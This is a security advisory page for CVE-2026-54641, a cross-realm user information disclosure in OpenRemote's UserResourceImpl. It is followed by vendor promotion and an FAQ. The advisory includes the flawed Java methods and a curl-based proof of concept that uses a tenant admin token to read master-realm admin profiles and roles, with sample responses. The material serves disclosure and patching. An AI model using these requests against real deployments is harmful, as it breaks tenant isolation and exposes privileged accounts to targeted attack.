Summary
OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl
Full technical description
A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.
Details
The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.
Three methods are missing an authenticated-realm guard:
get (line 102):
public User get(RequestParams requestParams, String realm, String userId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUser(userId);
} ...
}
The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.
getUserClientRoles (line 294):
public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId);
} ...
}
getUserRealmRoles (line 313):
public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) {
boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID);
if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) {
throw new ForbiddenException("...");
}
try {
return identityService.getIdentityProvider().getUserRealmRoles(realm, userId);
} ...
}
By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.
The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.
PoC
Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.
Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).
Step 2. Obtain an access token for the tenantb admin:
TENANTB_TOKEN=$(curl -s -X POST \
"https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \
-d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
Step 3. Read a master-realm user profile using the tenantb token:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response from the live test instance (commit 22a42a7, 2026-06-04):
{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8",
"id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e",
"firstName":"System","lastName":"Administrator",
"enabled":true,"createdOn":1780550421390,
"serviceAccount":false,"username":"admin"}
HTTP 200
Step 4. Read master-admin realm roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response:
["admin"]
HTTP 200
Step 5. Read master-admin client roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \
"https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"
Observed response:
["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services",
"write:alarms","write:attributes","write:services","write:user","write:assets",
"read:insights","read:map","read:users","read:assets","read:rules","write",
"write:admin","read","write:rules"]
HTTP 200
All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.
A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.
Impact
Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.
CVE-2026-54641 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.24.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54641? CVE-2026-54641 is a high-severity security vulnerability in io.openremote:openremote-manager (maven), affecting versions < 1.24.2. It is fixed in 1.24.2.
- How severe is CVE-2026-54641? CVE-2026-54641 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of io.openremote:openremote-manager are affected by CVE-2026-54641? io.openremote:openremote-manager (maven) versions < 1.24.2 is affected.
- Is there a fix for CVE-2026-54641? Yes. CVE-2026-54641 is fixed in 1.24.2. Upgrade to this version or later.
- Is CVE-2026-54641 exploitable, and should I be worried? Whether CVE-2026-54641 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54641 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54641? Upgrade
io.openremote:openremote-managerto 1.24.2 or later.